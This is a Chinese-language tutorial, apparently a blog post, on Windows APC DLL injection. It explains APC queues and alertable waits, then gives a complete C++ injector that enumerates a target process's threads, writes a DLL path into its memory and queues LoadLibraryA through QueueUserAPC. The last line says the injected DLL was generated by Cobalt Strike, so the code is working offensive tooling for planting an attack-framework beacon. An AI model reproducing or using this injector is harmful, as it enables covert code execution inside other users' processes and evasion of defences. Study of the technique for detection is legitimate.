在Windows操作系统中,每一个线程都会管理一个专门的(APC)队列,通过QucueUserAPC功能将(APC)函数注册到对应特定线程的(APC)队列中。每个独立的线程都拥有独立的(APC)队列,该(APC)队列负责处理本线程所需求的一些(APC)函数相关事务。对于处于用户模式下的(APC)队列而言,只有当其所在的线程处于可警告状态时才会触发并执行这些预先存储好的(APC)函数序列。当一个程序在内部使用SignalObjectAndWait、SleepEx、WaitForSingleObjectEx或WaitForMultipleObjectsEx等同步操作指令来暂停自身进程以进行资源管理时,该程序所在的相应主线程就会进入可警告状态,从而使得其对应的(APC)队列能够及时响应并执行相关的预设操作序列。
通俗点来概括过程可分为以下几步:
当程序运行至.exe文件中的某个线程调用.SleepEx或.WaitForSingleObjectEx方法时,系统会触发一个软中断响应(其中一种情况是messagebox弹出对话框但选择不点击ok时也有可能进行注入)
2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
通过QueueUserAPC()这个API,在软件中断发生时,在线程的APC队列中加入一个函数指针。当我们在队列中注入Loadlibrary()执行函数时,则能够实现对DLL的注入。
但是想要使用apc注入也有以下两点条件:
1)必须是多线程环境下
2)注入的程序必须会调用那些同步对象
每个进程的所有线程各自拥有独立的APC队列,在实现过程中我们可以通过调用QueueUserAPC函数将一个特定的APC函数压送到其所属线程的队列中。一旦一个处于用户模式状态下的APC事件被添加至某个线程的队列中,则该事件不会立即被执行而是需要等待相应的触发条件才能处理。具体而言,在该线程内部调用SleepEx等指定函数将其挂起时才会开始处理这些来自其他进程或任务的消息。整个处理流程遵循先进先出的原则进行操作,在运行过程中系统始终保持正常的运转状态但存在一定的潜在缺陷即在大多数单thread程序中并未展现出显著优势
代码:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
//申请空间
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
//拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
//结构的大小
th32.dwSize = sizeof(THREADENTRY32);
//遍历所有THREADENTRY32结构,按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR * wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
//申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
//把DLL路径复制到内存中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
//获得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
//遍历线程,插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
//打开线程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
//插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
//关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d", dwThreadIdListLength);
printf("Total Failed: %d", (int)fail);
if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
{
printf("Success to Inject APC\n");
return TRUE;
}
else
{
printf("Inject may be failed\n");
return FALSE;
}
}
int main()
{
ULONG32 ulProcessID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
printf("Injecting……");
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
#ifndef _WIN64
strcpy_s(wzDllFullPath, "C:\ Users\ admin\ Desktop\ artifact.dll");
#else// _WIN64
strcpy_s(wzDllFullPath, "C:\ Users\ admin\ Desktop\ artifact.dll");
#endif
if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads");
exit(0);
}
//打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess == NULL)
{
printf("Failed to open Process\n");
return FALSE;
}
//注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL");
return FALSE;
}
return 0;
}
该程序调用由co cobalt Strike生成的DLL文件,并在输入具体数值并触发注入操作时。

